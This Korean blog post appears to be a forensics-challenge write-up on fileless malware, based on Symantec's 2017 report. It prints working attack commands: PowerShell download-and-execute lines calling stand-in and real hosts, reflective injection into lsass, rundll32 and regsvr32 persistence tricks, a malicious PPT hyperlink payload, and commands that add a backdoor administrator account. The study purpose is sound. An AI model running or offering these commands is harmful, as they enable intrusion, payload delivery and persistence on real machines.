DFC 2019, IR250은 '2017 Symantec's ISTR report'를 바탕으로 fileless malware에 대해 공부하고, 실습한 내용을 보고서 형식으로 제출하라는 문제였다. 이 포스팅에서는 해당 report와 문제에서 제시한 4개의 카테고리를 바탕으로 하되, Fileless Malware에 대해 알아보는 시간을 갖도록 하자.
이 보고서에 따르면, Fileless Malware는 아래 4가지의 특징으로 설명할 수 있다.
1. 개요
Fileless Attack이란 파일을 disk에 drop하지 않고 메모리에 바로 payload를 싣는 것이다. 2001년 Code Red를 시작으로, 2003 SQL Slammer worm, EternalBlue, WannaCry 랜섬웨어 등에서 사용되었다.
RCE(Remote Code Execution) 취약점이 있을 때에, shellcode를 메모리에 직접 로드하여 실행시키는 방법 역시, Fileless Attack의 한 종류라고 볼 수 있다. 그러나 Fileless Attack은 지속되지(persistent) 않는 특징이 있는데, 이것은 공격자에게 크게 중요한 부분이 아니라고 한다. 그 이유는 Core Server의 경우 자주 재실행되지 않으며, Worm의 경우에는 어차피 다시 재감염될 확률이 크기 때문이다.
2. Powershell
다양한 형태의 Fileless Attack이 존재함에도 불구하고, Powershell을 통한 공격이 가장 대표적이다. Powershell을 통한 공격의 일부 형태에 대해서 소개한다.
- DownloadString method -> IEX(run another script)
powershell.exe -command "iex(New-Object Net.WebClient).
DownloadString('http://attacker.home/myscript.ps1')"
// iex : String으로 된 명령어 실행
// DownloadString : 문자열(스크립트) 다운로드
DownloadString을 통해 특정 URL에서 문자열로 스크립트를 다운받은 이후에, iex를 통해 실행하는 스크립트이다. 가장 일반적으로 사용된다.
- Reflective PE Injection
Import-Module PowerSploit
$PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll’)
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName COMPUTER
// Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
// PowerSploit 지원이 중단됨에 따라 현재 동작하지 않는 코드..
PE 파일(EXE, DLL)을 디스크에 저장하지 않고, 바로 메모리에 로드하는 기법이다. 이 기법을 사용하면, 다른 프로세스 내부에서 실행되고, 디스크에 파일이 남지 않기 때문에 탐지될 가능성이 낮음.
특히 Powershell.exe 내부에 PE Injection을 수행한 경우에 Powershell.exe는 일반적으로 수상하다고 여겨지지 않으며, remote한 타겟 시스템에도 디스크에 흔적조차 남기지 않고 스크립트를 수행할 수 있기 때문에 아주 은밀하게 공격을 수행할 수 있다.
* 아주 흥미로운 공격 기법이었다.
https://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
- 실습
powershell.exe -ep bypass –command iex(New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w")
// 방화벽이나 백신이 없는 환경에서 실습할 것을 추천
해당 코드를 실행하면 흥겨운 음악이 나온다.😎🎶🎶
그러나 간단히 생각해볼 문제가 아니고 좀 더 자세히 살펴보자.
특정 URL을 통해 다운로드한 스크립트는 mp3 파일을 다운로드하고, MediaPlayer를 실행한다.
또한 Base64와 GZip으로 압축된 데이터를 다운로드해서 가져온다.
Process Explorer를 통해 보면, 다른 프로그램의 실행 없이, Powershell.exe 프로세스만 존재함을 살펴볼 수 있다.
1. 개요
Fileless Persistence란, 초기 감염 이후에 지속적으로 발자취를 유지하기 위한 노력이다. Fileless Malware들은 이 과정에서도 Payload를 디스크에 저장하지 않고 작업을 수행한다. 특히 Defender Tools가 이러한 과정을 탐지하기 어렵도록 한다.
2. Windows Registry
- Trojan.Poweliks
이 악성코드는 rundll32.exe의 Parse 과정에서의 취약점을 이용하여 javascript를 실행한다.
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/e0Mw9w');")
rundll32.exe는 아래와 같은 문법으로 사용되는데, 이를 악용하면 임의의 javascript 코드를 실행할 수 있다.
rundll32.exe <dllname>,<entrypoint> <optional arguments>
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('payload');
그 이유는 parse 과정에서의 취약점 때문이며, 링크를 참조하면 자세한 정보를 알 수 있다.
해당 악성코드에서 사용한 registry 값은 다음과 같다. 또한, 악성코드에 감염된 레지스트리 값은 다음과 같이 세팅되는 것을 확인할 수 있었다. 이 공격에 사용된 레지스트리는 "Run and RunOnce Registry Keys"라고 불리는 레지스트리 값으로 유저가 로그인 할 때마다 실행된다.
-Trojan.Kotver
이 악성코드는 새로운 extension을 생성하여, 레지스트리에 추가한다.(~\Software\Classes\.hunjison)
새로 생성한 확장자에 해당하는 ~\shell\open\command 레지스트리에 아래 스크립트를 추가한다. 이 레지스트리는 확장자 별로 실행되는 프로그램을 지정하는 레지스트리이다.
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication “alert(‘payload’);
새로운 확장자로 만든 파일(.hunjison)의 바로가기(.lnk)를 만들어startup 폴더에 넣어 시작프로그램에 등록되도록 하고, registry(HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run)에도 바로가기 파일을 등록한다.
이러한 방법으로 프로그램이 종료된 이후에도, 다시 감염 상태를 유지한다.
실제 악성코드의 동작은 아래와 같은 레지스트리 값을 통해 SCT 스크립트를 다운한 후에,
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
COM+ = “regsvr32 /s /n /u /i:{%REMOTE_MALICIOUS_SCT_SCRIPT%} scrobj.dll”
1. /s = silent option for regsvr32
2. /n = tells regsvr32 not to use DllRegisterServer
3. /u = Unregister server/object
4. /I = used for passing an optional parameter (ie. URL) to DLLinstall
5. scrobj.dll = Microsoft’s Script Component Runtime
// 시스템에 스크립트 파일을 저장하지 않고, 실행할 수 있음.
// 시스템이 시작될 때마다 C&C 서버에서 악성코드를 다운할 수 있음.
SCT 파일에서 Jscript가 실행되어 Powershell 스크립트를 다운로드 및 실행하였고,
아래와 같은 Powershell 스크립트를 이용하여 공격이 수행되었다고 한다.
Powershell (1)
powershell.exe -nop -ep Bypass -noexit -c [System.Net.ServicePointManager]::
ServerCertificateValidationCallback = { $true }; iex ((New-Object System.Net.WebClient).DownloadString(‘[REMOVED]’))
Powershell (2)
powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop iex ([Text.Encoding]::ASCII. GetString([Convert]::FromBase64String((gp ‘HKCU:\Software\Classes\HNKINZHBHZCOBE’).ZUEMAUZYQQBL)));
// * gp = alias to 'Get-ItemProperty'
2. Windows Management Instrumentation(WMI)
로컬, 리모트 시스템을 관리하는 서비스. 시스템 세팅, 프로세스 관리 등을 스크립트를 통해 수행할 수 있다.
Payload(일반적으로 powershell)을 WMI repository에 저장할 수 있으며, unix의 cron처럼 정기적으로 command를 수행하도록 예약할 수 있다.
3. ETC
이외에도 Group Policy Objects, Bitsadmin, AT, COM object hijacking 등등 다양한 방법들이 존재한다고 한다.
1. 개요
Fileless Malware들은 일반적으로 PE파일이 아니라 Script based attack을 수행하며, 이는Powershell, WScript, CScript 등 강력한 스크립트 프레임워크를 통해서 이루어진다.
문서 파일(.doc, .hwp)이나 스크립트 파일 등을 다운로드해야 하기 때문에, 엄밀하게 Fileless Attack은 아니지만PE 파일과는 달리 일정한 형태를 띄지 않는다. 따라서 Static Signature를 통해 탐지하기가 매우 어렵고, 손쉽게 난독화할 수 있다는 특징을 가진다.
2. 예시
- Trojan.PPDropper(recently discovered)
해당 악성코드에서는 PPT 파일에서의 링크에 마우스를 올려놓는 것만으로도 외부 스크립트가 실행되는 모습을 보였다. 일반적으로 문서형 악성코드가 Macro에 의존하는 모습을 보이는데, Macro의 사용이 없었다는 점에서 특이하다.
실제 사용된 스크립트이다. Powershell 코드를 호출하는 것을 볼 수 있다.
[ppt/slides/slide1.xml]
<a:hlinkMouseOver r:id="rId2" action="ppaction://program"/>
[ppt/slides/_rels/slide1.xml.rels]
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="powershell%20-NoP%20-NonI%20-W%20Hidden%20-Exec%20Bypass%20%22IEX%20(New-Object%20System.Net.WebClient).DownloadFile(%27http%3A%27%2B%5Bchar%5D%200x2F%2B%5Bchar%5D%200x2F%2B%27cccn.nl%27%2B%5Bchar%5D%200x2F%2B%27c.php%27%2C%5C%22%24env%3Atemp%5Cii.jse%5C%22)%3B%20Invoke-Item%20%5C%22%24env%3Atemp%5Cii.jse%5C%22%22" TargetMode="External"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/>
Powershell 코드만 따로 정리하면, 아래와 같다. 결국 원격 서버에서 스크립트 다운 후 실행, 단순한 코드이다.
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('hxxp://cccn.nl/c.php','$env:temp\ii.jse'); Invoke-Item '$env:temp\ii.jse'"
3. 이외에도..
LNK, SCT, HTA 파일 등을 통해 스크립트 공격이 수행될 수 있다.
일반적으로 Final script는 Remote Server에 저장되어, 더욱 탐지하기 어렵도록 제작된다.
확장자 정보
1. 개요
공격자들이 그들의 최종 목적을 달성하기 위한 동작을 수행하기 위해 이용하는 도구이다.
다음과 같은 명령어를 사용하면 원격 데스크톱(RDP)가 활성화되어 있는 경우에, 백도어를 생성할 수 있다.
net user /add [username] [password]
net localgroup administrators [username] /add
2. Dual-use Tools
중요한 점은 이러한 동작이 정상적인 시스템 관리자가 합법적인 이유로 수행할 수도 있는 커맨드라는 것이다. 이렇게 합법적인(clean, legitimate)한 도구를 사용하면, 정상행위와 비정상행위의 구별이 어려워져 File scanning solution 들을 우회할 수 있다.
지금까지 Fileless Malware의 4가지 특성에 대해 정리해보았다.
Non-PE file attacks는 Powershell로 대표되는 Fileless Attack이 실행될 수 있는 발판을 마련해준다. 주로 문서형 악성코드를 이용하여 Powershell을 이끌어내는 역할을 한다.
Memory only Threats는 Fileless Malware의 동작 원리를 설명한다. Powershell 공격이 수행되는 대표적인 기법, 'DownloadString() -> IEX()'를 사용하면 스크립트를 다운로드 받은 후에 메모리에서 바로 실행이 가능하다.
Dual-use Tools는 공격의 최종 목적을 이루기 위해 함께 사용되는 도구에 대해 설명한다. 특히 시스템 내부에서 일반적으로 사용될 수 있는 도구들을 이용하여 정상행위와 비정상행위의 구별을 어렵게 한다.
Fileless Persistence는 공격이 수행된 이후에 지속적인 감염을 위해서 수행하는 작업을 설명한다. Windows Registry를 일반적으로 사용하며, 'Run and RunOnce Registry Keys'를 활용하기도 한다.
아래는 이 과정을 시간 순으로 정리한 그래프이다.
보고서를 공부해나가면서 어려운 점도 많았지만, 재미있었고 많은 도움이 되었던 발표였다.